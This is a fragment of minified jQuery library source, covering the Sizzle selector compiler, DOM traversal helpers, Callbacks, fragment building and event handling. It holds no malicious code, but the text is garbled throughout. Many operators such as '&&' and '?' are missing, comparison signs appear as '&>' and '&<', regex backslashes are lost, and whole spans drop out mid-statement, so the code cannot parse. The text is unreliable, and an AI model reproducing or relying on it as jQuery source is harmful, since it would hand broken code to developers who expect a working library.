while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),ee===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])j[0]===wj[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}}}function ua(a){return a.length&>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;e&>d;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i&>h;h++)(f=a[h])(c!c(f,d,e)||(g.push(f),jb.push(h)));return g}function xa(a,b,c,d,e,f){return d!d[u](d=xa(d)),e!e[u](e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!fb?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(cc(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])(j=e?I(f,l):m[k])&>-1(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)&>-1},h,!0),m=[function(a,c,d){var e=!g(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f&>i;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f&>e;e++)if(d.relative[a[e].type])break;return xa(i&>1ua(m),i&>1sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,e&>iya(a.slice(i,e)),f&>eya(a=a.slice(e)),f&>esa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length&>0,e=a.length&>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f[],u=[],v=j,x=f||ed.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k(j=g===n||g||k);s!==znull!=(l=x[s]);s++){if(el){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k(w=y)}c((l=!ql)r--,ft.push(l))}if(r+=s,cs!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r&>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k!fu.length&>0r+b.length&>1ga.uniqueSort(i)}return k(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof aa,o=!fg(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length&>2"ID"===(k=j[0]).typec.getById9===b.nodeTypepd.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(_,aa),b)||[])[0],!b)return e;n(b=b.parentNode),a=a.slice(j.shift().value.length)}i=V.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])(f=m(k.matches[0].replace(_,aa),$.test(j[0].type)qa(b.parentNode)||b))){if(j.splice(i,1),a=f.lengthsa(j),!a)return G.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||$.test(a)qa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="&&","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributesja(function(a){return a.innerHTML="&",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])9!==a.nodeType)if(1===a.nodeType){if(er(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeTypea!==bc.push(a);return c},A=r.expr.match.needsContext,B=/^&<([a-z][^/ &>:x20
f]*)[x20
f]*/?&>(?:&1&>|)$/i,C=/^.[^:#[.,]*$/;function D(a,b,c){if(r.isFunction(b))return r.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return r.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(C.test(b))return r.filter(b,a,c);b=r.filter(b,a)}return r.grep(a,function(a){return i.call(b,a)&>-1!==c1===a.nodeType})}r.filter=function(a,b,c){var d=b[0];return c(a=":not("+a+")"),1===b.length1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;d&>b;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;d&>b;b++)r.find(a,e[b],c);return d&>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof aA.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:s*(&<[wW]+&>)[^&>]*|#([w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="&<"===a[0]">"===a[a.length-1]a.length&>=3?[null,a,null]:F.exec(a),!e||!e[1]b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],bb.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;c&>a;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof ar(a);if(!A.test(a))for(;e&>d;d++)for(c=this[d];cc!==b;c=c.parentNode)if(c.nodeType&<11(g?g.index(c)&>-1:1===c.nodeTyper.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length&>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)(d=c),d"string"==typeof d(e=r.filter(d,e)),this.length&>1(I[a]||r.uniqueSort(e),H.test(a)e.reverse()),this.pushStack(e)}});var K=/S+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h&
f]+)/i,ja=/^$|/(?:java|ecma)script/i,ka={option:[1,"&"],thead:[1,"&","&
"],col:[2,"&&
"],tr:[2,"&&","&&
"],td:[3,"&&&
"],_default:[0,"",""]};ka.optgroup=ka.option,ka.tbody=ka.tfoot=ka.colgroup=ka.caption=ka.thead,ka.th=ka.td;function la(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||br.nodeName(a,b)?r.merge([a],c):c}function ma(a,b){for(var c=0,d=a.length;d&>c;c++)V.set(a[c],"globalEval",!b||V.get(b[c],"globalEval"))}var na=/&<|#?w+;/;function oa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;o&>n;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(na.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ia.exec(f)||["",""])[1].toLowerCase(),i=ka[h]||ka._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(dr.inArray(f,d)&>-1)ee.push(f);else if(j=r.contains(f.ownerDocument,f),g=la(l.appendChild(f),"script"),jma(g),c){k=0;while(f=g[k++])ja.test(f.type||"")c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="&",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var pa=d.documentElement,qa=/^key/,ra=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,sa=/^([^.]*)(?:.(.+)|)/;function ta(){return!0}function ua(){return!1}function va(){try{return d.activeElement}catch(a){}}function wa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c(d=d||c,c=void 0);for(h in b)wa(a,h,c,d,b[h],f);return a}if(null==dnull==e?(e=c,d=c=void 0):null==e("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ua;else if(!e)return a;return 1===f(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler(f=c,c=f.handler,e=f.selector),er.find.matchesSelector(pa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof rr.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:er.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setupl.setup.call(a,d,o,g)!==!1||a.addEventListenera.addEventListener(n,g)),l.add(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)V.get(a);if(q(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]new RegExp("(^|\.)"+o.join("\.(?:.*\.|)")+"(\.|$)"),g=f=m.length;while(f--)k=m[f],!ep!==k.origType||cc.guid!==k.guid||h!h.test(k.namespace)||dd!==k.selector("**"!==d||!k.selector)||(m.splice(f,1),k.selectorm.delegateCount--,l.removel.remove.call(a,k));g!m.length(l.teardownl.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c&c;c++)f=b[c],e=f.selector+" ",void 0===d[e](d[e]=f.needsContext?r(e,this).index(i)&>-1:r.find(e,this,null,[i]).length),d[e]d.push(f);d.lengthg.push({elem:i,handlers:d})}return h&","& &&